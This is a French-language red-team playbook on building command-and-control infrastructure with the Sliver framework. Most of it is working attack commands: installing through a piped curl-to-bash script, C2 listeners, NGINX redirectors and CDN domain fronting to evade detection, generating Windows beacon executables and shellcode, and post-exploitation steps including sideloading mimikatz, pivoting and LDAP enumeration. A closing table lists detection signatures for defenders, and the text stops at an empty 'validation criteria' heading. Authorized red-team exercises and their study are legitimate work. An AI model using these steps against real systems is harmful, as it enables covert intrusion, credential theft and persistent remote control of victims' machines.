Que fait Construction d'infrastructure C2 avec le framework Sliver ?
Aperçu
Sliver est un framework d'émulation d'adversaire open-source, multiplateforme, développé par BishopFox, écrit en Go. Il fournit aux équipes rouges la génération d'implantations, des canaux C2 multi-protocoles (mTLS, HTTP/S, DNS, WireGuard), un support multi-opérateurs et des capacités post-exploitation étendues. Sliver prend en charge les modes beacon (asynchrone) et session (interactif), ce qui le rend adapté à la fois aux opérations à long terme et à l'exploitation interactive. Une infrastructure Sliver bien architecturée utilise des redirecteurs, le domain fronting et des certificats HTTPS pour maintenir la résilience opérationnelle et éviter la détection.
Quand utiliser
- Lors du déploiement ou de la configuration des capacités d'infrastructure C2 avec le framework Sliver dans votre environnement
- Lors de l'établissement de contrôles de sécurité alignés sur les exigences de conformité
- Lors de la construction ou de l'amélioration de l'architecture de sécurité pour ce domaine
- Lors de la réalisation d'évaluations de sécurité nécessitant cette implémentation
Prérequis
- Familiarité avec les concepts et outils de l'équipe rouge
- Accès à un environnement de test ou de laboratoire pour une exécution sécurisée
- Python 3.8+ avec les dépendances nécessaires installées
- Autorisation appropriée pour toute activité de test
Objectifs
- Déployer un serveur d'équipe Sliver sur une infrastructure cloud durcie
- Configurer les écouteurs HTTPS, mTLS, DNS et WireGuard
- Générer des implantations (beacons et sessions) pour les plateformes cibles
- Mettre en place des redirecteurs NGINX ou Apache entre les implantations et le serveur d'équipe
- Implémenter le domain fronting via Cloudflare ou CDN pour l'obfuscation du trafic
- Configurer l'accès multi-opérateurs avec authentification par certificat
- Établir des contrôles de sécurité opérationnelle pour les communications C2
Cartographie MITRE ATT&CK
- T1071.001 - Protocole de couche application : Protocoles Web
- T1071.004 - Protocole de couche application : DNS
- T1573.002 - Canal chiffré : Cryptographie asymétrique
- T1090.002 - Proxy : Proxy externe (Redirecteurs)
- T1105 - Transfert d'outil entrant
- T1132.001 - Encodage des données : Encodage standard
- T1572 - Tunnel de protocole
Flux de travail
Phase 1 : Déploiement du serveur d'équipe
- Provisionner un VPS (par ex. DigitalOcean, Linode, AWS EC2) pour le serveur d'équipe
- Durcir l'OS : désactiver l'authentification par mot de passe SSH, configurer UFW/iptables, installer fail2ban
- Installer Sliver en utilisant le script d'installation officiel :
curl https://sliver.sh/install | sudo bash
- Démarrer le démon du serveur Sliver :
systemctl start sliver
sliver-server
- Générer les fichiers de configuration des opérateurs pour les membres de l'équipe :
new-operator --name operator1 --lhost <team-server-ip>
Phase 2 : Configuration des écouteurs
- Configurer un écouteur HTTPS avec un certificat SSL légitime :
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
- Configurer un écouteur DNS pour le C2 de repli :
dns --domains c2dns.example.com --lport 53
- Configurer un écouteur mTLS pour les sessions haute sécurité :
mtls --lhost 0.0.0.0 --lport 8888
- Configurer un écouteur WireGuard pour l'accès tunnelisé :
wg --lport 51820
Phase 3 : Mise en place du redirecteur
- Déployer un VPS séparé comme redirecteur (positionné entre les cibles et le serveur d'équipe)
- Installer et configurer NGINX comme proxy inverse :
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
- Configurer les règles iptables sur le serveur d'équipe pour n'accepter les connexions que depuis le redirecteur :
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
- Optionnellement, configurer Cloudflare comme couche CDN devant le redirecteur pour le domain fronting
Phase 4 : Génération d'implantations
- Générer une implantation beacon HTTPS :
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
- Générer un beacon DNS pour les réseaux restreints :
generate beacon --dns c2dns.example.com --os windows --arch amd64
- Générer une charge utile shellcode pour l'injection :
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
- Configurer la gigue et les intervalles de rappel du beacon :
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
Phase 5 : Opérations post-exploitation
- Interagir avec les beacons/sessions actifs :
beacons
use <beacon-id>
- Exécuter des modules post-exploitation :
ps
netstat
execute-assembly /path/to/Seatbelt.exe -group=all
sideload /path/to/mimikatz.dll
- Configurer des pivots pour l'accès au réseau interne :
pivots tcp --bind 0.0.0.0:9898
- Utiliser des BOF (Beacon Object Files) pour une exécution en mémoire :
armory install sa-ldapsearch
sa-ldapsearch -- "(objectClass=user)"
Outils et ressources
| Outil | Objectif | Plateforme |
|---|
| Serveur Sliver | Serveur d'équipe C2 et gestion des implantations | Linux/macOS/Windows |
| Client Sliver | Console opérateur pour les membres de l'équipe | Multiplateforme |
| NGINX | Redirecteur et proxy inverse | Linux |
| Certbot | Génération de certificats SSL Let's Encrypt | Linux |
| Cloudflare | CDN et domain fronting | Cloud |
| Armory | Gestionnaire de paquets d'extensions/BOF Sliver | Intégré |
Signatures de détection
| Indicateur | Méthode de détection |
|---|
| En-têtes HTTP Sliver par défaut | Analyse du trafic réseau pour des chaînes User-Agent inhabituelles |
| mTLS sur des ports non standards | Journaux du pare-feu pour les connexions sortantes vers des ports inhabituels |
| Requêtes d'enregistrement DNS TXT à haute entropie | Analyse des journaux DNS pour le trafic C2 encodé |
| Trafic UDP WireGuard sur le port 51820 | Analyse du flux réseau pour les motifs de handshake WireGuard |
| Empreintes de fichiers d'implantation Sliver | Correspondance des signatures EDR/AV contre des échantillons Sliver connus |
Critères de validation